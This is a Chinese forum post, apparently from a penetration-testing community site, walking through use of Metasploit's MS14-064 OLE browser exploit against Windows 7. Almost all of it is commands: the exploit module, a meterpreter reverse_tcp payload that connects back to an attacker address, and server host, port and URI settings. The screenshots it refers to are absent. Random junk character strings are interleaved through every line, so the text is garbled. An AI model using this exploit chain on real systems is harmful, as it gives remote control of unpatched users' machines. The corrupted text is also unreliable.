MS14-064 漏洞测试入侵win7 - 中国网络渗透测试联盟

5 s' A8 {, k `# W4 M 我发现msf下的exp只能针对带有powershell的机器进行攻击，我们用如下方法来搞演示 2 S5 P; ~& `1 i' r- R" Q

6 J0 ~2 \% N5 H r5 O% f, O& ~2 t 开启msf执行命令use exploits/windows/browser/ms14_064_ole_code_execution如图： , _" R0 V+ m8 p K" f% ]

4 c9 k |# t8 a) j# y 然后执行命令 set PAYLOAD windows/meterpreter/reverse_tcp* c; r5 I8 G( h+ ^

3 R/ N. n% S9 ]- {5 `5 U; ?' [ set AllowPowershellPrompt true 5 K# ^7 ^! @* \; i& z2 C( b

1 m6 A& I8 d4 x* X5 `( E Set LHOST 192.168.0.109 + `/ Q3 d9 T4 d# y& k

% c7 t: F" v& P. X' l) B, t/ }) U6 V set SRVHOST 192.168.0.109 ! ~8 |/ i8 \6 K, q( A

, K4 |. F5 q F/ S: G4 f Set uripath share* G) Y6 V3 I: v/ }& O8 W

3 _) V3 O3 J2 j8 q Set srvport 80; z1 Z8 }6 e, v5 j. y

! Z' K K( V* P 4 e8 r. V" M) n9 `/ `+ Z) {

4 R2 V' m g9 m$ Q. z3 S1 Y 1 t9 V, Y1 \4 C% k; Z, ^. e

) s. T$ I. M9 F/ H3 k/ I ; h9 H4 m1 w- _& ~$ d- ^4 G# N

2 L/ Y& T, d7 ?% S6 u # o5 o9 s' Q5 A( l

& m/ y5 @* V% F o2 x! p / o( ?5 n& Y- @' d

$ V9 C* g0 O* |! M' c6 A& e 下面我们来访问本地地址如图：6 a$ e+ h+ [4 ?+ ]: t7 ^

) u; Y) z2 J4 |) X9 I7 R! F, O : Y% y4 n* e) {6 U' N) n. }

1 Z' B- J7 X4 v0 g& K x- ~ ! b1 `0 W% y1 J$ g: z

3 d2 Q+ ^2 u# O7 `9 A- ` v3 J+ Y/ J- n. a( K5 F8 j8 o